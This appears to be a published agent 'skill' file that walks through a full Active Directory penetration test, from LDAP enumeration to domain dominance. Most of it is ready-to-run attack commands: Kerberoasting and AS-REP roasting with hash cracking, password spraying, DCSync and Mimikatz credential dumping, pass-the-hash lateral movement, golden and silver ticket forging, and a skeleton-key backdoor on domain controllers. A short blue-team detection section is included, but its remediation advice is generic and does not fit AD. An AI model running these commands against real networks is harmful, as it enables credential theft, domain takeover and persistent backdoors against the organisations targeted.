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Execute a complete Active Directory penetration test from initial enumeration to domain dominance. Use this skill for AD security assessments including LDAP enumeration, Kerberos attacks (Kerberoasting, AS-REP roasting), BloodHound attack path analysis, credential dumping with Mimikatz, lateral movement via PsExec/WMI/DCOM, DCSync for NTDS extraction, and Golden/Silver ticket forging. Covers the full kill chain from domain user to domain admin.
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Original instructions from the publisher’s SKILL.md
# Active Directory — Full Attack Chain ## When to Use - When conducting internal network penetration tests against Windows/AD environments - When you have domain user credentials and need to escalate to Domain Admin - During red team engagements targeting corporate Active Directory infrastructure - When assessing AD security posture and attack paths ## Prerequisites - Domain user credentials (at minimum) - Kali Linux or Windows attack machine on the same network - Impacket toolkit (`pip install impacket`) - BloodHound + Neo4j for attack path visualization - CrackMapExec / NetExec for lateral movement - Mimikatz or Rubeus for credential attacks ## Workflow ### Phase 1: Domain Enumeration ```bash # Enumerate domain info with domain user creds # LDAP enumeration ldapdomaindump -u 'DOMAIN\user' -p 'Password123' dc.domain.local -o ldap_dump/ # Domain info via CrackMapExec crackmapexec smb dc.domain.local -u user -p 'Password123' --pass-pol crackmapexec smb 10.10.10.0/24 -u user -p 'Password123' --shares # Enumerate users crackmapexec smb dc.domain.local -u user -p 'Password123' --users # Enumerate groups crackmapexec smb dc.domain.local -u user -p 'Password123' --groups # Using Impacket GetADUsers.py -all domain.local/user:Password123 -dc-ip 10.10.10.1 # PowerView (if on Windows) Import-Module .\PowerView.ps1 Get-DomainUser -Properties samaccountname,description | fl Get-DomainGroup -AdminCount | Select-Object name Get-DomainComputer -Properties name,operatingsystem | fl Find-LocalAdminAccess ``` ### Phase 2: BloodHound — Attack Path Discovery ```bash # Collect AD data with SharpHound # From Windows: .\SharpHound.exe -c All -d domain.local # From Linux (bloodhound-python): bloodhound-python -u user -p 'Password123' -d domain.local -dc dc.domain.local -c All # Start Neo4j and BloodHound sudo neo4j start bloodhound --no-sandbox # Import the .zip data into BloodHound # Key queries to run: # - "Find Shortest Paths to Domain Admin" # - "Find All Kerberoastable Accounts" # - "Find Principals with DCSync Rights" # - "Find Computers where Domain Users are Local Admin" # - "Shortest Paths from Owned Principals" ``` ### Phase 3: Kerberos Attacks ```bash # AS-REP Roasting (no pre-authentication required) GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.1 -format hashcat -outputfile asrep.hash # Crack AS-REP hashes hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt # Kerberoasting (request service tickets for SPNs) GetUserSPNs.py domain.local/user:Password123 -dc-ip 10.10.10.1 -outputfile kerberoast.hash # Crack Kerberos TGS hashes hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt # Using Rubeus (Windows) .\Rubeus.exe kerberoast /outfile:kerberoast.hash .\Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash # Kerbrute — username enumeration + password spraying kerbrute userenum --dc dc.domain.local -d domain.local users.txt kerbrute passwordspray --dc dc.domain.local -d domain.local users.txt 'Password123' ``` ### Phase 4: Credential Dumping ```bash # Remote NTDS dump via secretsdump (if you have admin creds) secretsdump.py domain.local/admin:AdminPass@dc.domain.local # DCSync attack (requires replication rights) secretsdump.py -just-dc domain.local/user:Password123@dc.domain.local # Mimikatz (on compromised Windows machine) mimikatz.exe privilege::debug sekurlsa::logonpasswords # Dump plaintext passwords from memory sekurlsa::tickets # Dump Kerberos tickets lsadump::dcsync /domain:domain.local /user:Administrator # DCSync # LSASS dump (remotely) crackmapexec smb target -u admin -p 'AdminPass' -M lsassy # SAM/SYSTEM dump crackmapexec smb target -u admin -p 'AdminPass' --sam # DPAPI credential extraction secretsdump.py -just-dc-user krbtgt domain.local/admin:AdminPass@dc.domain.local ``` ### Phase 5: Lateral Movement ```bash # PsExec (ADMIN$ share) psexec.py domain.local/admin:AdminPass@target.domain.local # WMI Exec wmiexec.py domain.local/admin:AdminPass@target.domain.local # SMB Exec smbexec.py domain.local/admin:AdminPass@target.domain.local # DCOM Exec dcomexec.py domain.local/admin:AdminPass@target.domain.local # Evil-WinRM evil-winrm -i target.domain.local -u admin -p 'AdminPass' # Pass-the-Hash (use NTLM hash instead of password) psexec.py domain.local/admin@target -hashes :NTLM_HASH_HERE # CrackMapExec mass lateral movement crackmapexec smb 10.10.10.0/24 -u admin -p 'AdminPass' -x 'whoami' --exec-method smbexec # Over-Pass-the-Hash (convert NTLM to Kerberos TGT) getTGT.py domain.local/admin -hashes :NTLM_HASH -dc-ip dc.domain.local export KRB5CCNAME=admin.ccache psexec.py domain.local/admin@dc.domain.local -k -no-pass ``` ### Phase 6: Domain Dominance ```bash # Golden Ticket (requires krbtgt NTLM hash) # Get domain SID lookupsid.py domain.local/admin:AdminPass@dc.domain.local # Forge Golden Ticket ticketer.py -nthash KRBTGT_NTLM_HASH -domain-sid S-1-5-21-XXXX -domain domain.local Administrator export KRB5CCNAME=Administrator.ccache psexec.py domain.local/Administrator@dc.domain.local -k -no-pass # Silver Ticket (service-specific) ticketer.py -nthash SERVICE_NTLM_HASH -domain-sid S-1-5-21-XXXX \ -domain domain.local -spn cifs/target.domain.local Administrator # Skeleton Key (backdoor domain controller LSASS) mimikatz.exe "privilege::debug" "misc::skeleton" # Now ANY user can authenticate with password "mimikatz" # AdminSDHolder persistence # Modify AdminSDHolder ACL to grant yourself persistent admin access # Domain trust exploitation Get-DomainTrust Get-ForestDomain # Attack across trust boundaries with SID history injection ``` ## 🔵 Blue Team Detection - **SIEM alerting**: Monitor for DCSync (Event ID 4662 with replication GUIDs), Golden Ticket (Event ID 4769 with TGT lifetime anomalies), Kerberoasting (Event ID 4769 with RC4 encryption) - **Honey accounts**: Create fake service accounts with SPNs and alert on authentication attempts - **LAPS**: Deploy Local Administrator Password Solution to prevent lateral movement - **Privileged Access Workstations**: Isolate admin credentials - **Tiered admin model**: Separate Domain Admin, Server Admin, Workstation Admin ## Key Concepts | Concept | Description | |---------|-------------| | Kerberoasting | Requesting TGS tickets for service accounts and cracking offline | | AS-REP Roasting | Attacking accounts without Kerberos pre-authentication | | DCSync | Mimicking domain controller replication to extract NTDS credentials | | Golden Ticket | Forged TGT using krbtgt hash — unlimited domain access | | Silver Ticket | Forged TGS for specific service — targeted access | | Pass-the-Hash | Using NTLM hash directly for authentication without password | | BloodHound | Graph-based AD attack path visualization tool | ## Output Format ``` Active Directory Pentest Report ================================ Domain: CORP.DOMAIN.LOCAL Domain Controllers: DC01, DC02 Forest Functional Level: Windows Server 2016 Attack Path Summary: Initial Access: Domain User (jsmith) via password spray → Kerberoasted svc_sql (cracked in 2 minutes) → svc_sql is local admin on SQL01 → Credential dump on SQL01 → Domain Admin hash → DCSync → Full NTDS.dit extraction → 4,532 user accounts compromised Critical Findings: 1. Kerberoastable service account with weak password (svc_sql: Summer2024!) 2. 47 users with "Do not require Kerberos pre-authentication" (AS-REP roastable) 3. Domain Users group has local admin on 12 servers 4. No LAPS deployed — same local admin password on all workstations 5. krbtgt password last changed: 2019 (Golden Ticket risk) ``` ## 🛡️ Remediation & Mitigation Strategy - **Input Validation:** Sanitize and strictly type-check all inputs. - **Least Privilege:** Constrain component execution bounds. ## 📚 Shared Resources > For cross-cutting methodology applicable to all vulnerability classes, see: > - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns > - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference > - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class ## References - MITRE ATT&CK: [Kerberos Attacks](https://attack.mitre.org/techniques/T1558/) - HackTricks: [Active Directory Methodology](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology) - Impacket: [Tool Documentation](https://github.com/fortra/impacket) - BloodHound: [Official Wiki](https://bloodhound.readthedocs.io/)